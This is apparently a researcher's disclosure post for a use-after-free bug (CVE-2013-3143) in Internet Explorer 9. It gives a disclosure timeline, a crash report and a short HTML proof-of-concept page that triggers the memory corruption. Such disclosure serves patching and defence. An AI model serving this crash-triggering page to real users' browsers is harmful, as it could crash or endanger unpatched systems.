This is a friendly warning that your web-browser does not currently protecting your privacy and/or security as well as you might want. Click on this message to see more information about the issue(s) that were detected. December 14th, 2016 MSIE 9 IEFRAME CMarkup::Remove­Pointer­Pos use-after-free

MSIE 9 IEFRAME CMarkup::Remove­Pointer­Pos use-after-free

(MS13-055, CVE-2013-3143)


A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software, attack vectors and potential mitigations

  • Microsoft Internet Explorer 9

    An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.


This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability, though their advisory mentions an iframe, which is not in the repro I provided. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html <!DOCTYPE html> <html> <script> document.add­Event­Listener("load", function (){ document.document­Element.remove­Node(true); }, true); document.add­Event­Listener("DOMNode­Removed", function (){ document.write(""); }, true); </script> <style> </style> <span dir="rtl"> <ruby dir="ltr"> <br/> </ruby> </span> </html>


  • Sometime in November 2012: This vulnerability was found through fuzzing.
  • 11 November 2012: This vulnerability was submitted to EIP.
  • 10 December 2012: This vulnerability was rejected by EIP.
  • 12 December 2012: This vulnerability was submitted to ZDI.
  • 25 January 2013: This vulnerability was acquired by ZDI.
  • 15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
  • 26 July 2013: This vulnerability was address by Microsoft in MS13-055.
  • 14 December 2016: Details of this vulnerability are released.
Bug­Id report: Arbitrary AVR@MSHTML.dll!CMarkup::Remove­Pointer­Pos(j­Qk­X)
id:             Arbitrary AVR@MSHTML.dll!CMarkup::Remove­Pointer­Pos(j­Qk­X)
description:    Security: Attempt to read from unallocated arbitrary memory (@0x12F38FF0) in MSHTML.dll!CMarkup::Remove­Pointer­Pos
note:           Based on this information, this is expected to be a security issue!
application:    MSIE 9.00.8112.16421
This report was generated using a predecessor of Bug­Id, a Python script created to detect, analyze and id application bugs. Don't waste time manually analyzing issues and writing reports but try Bug­Id out yourself today! You'll get even better reports than this one with the current version.
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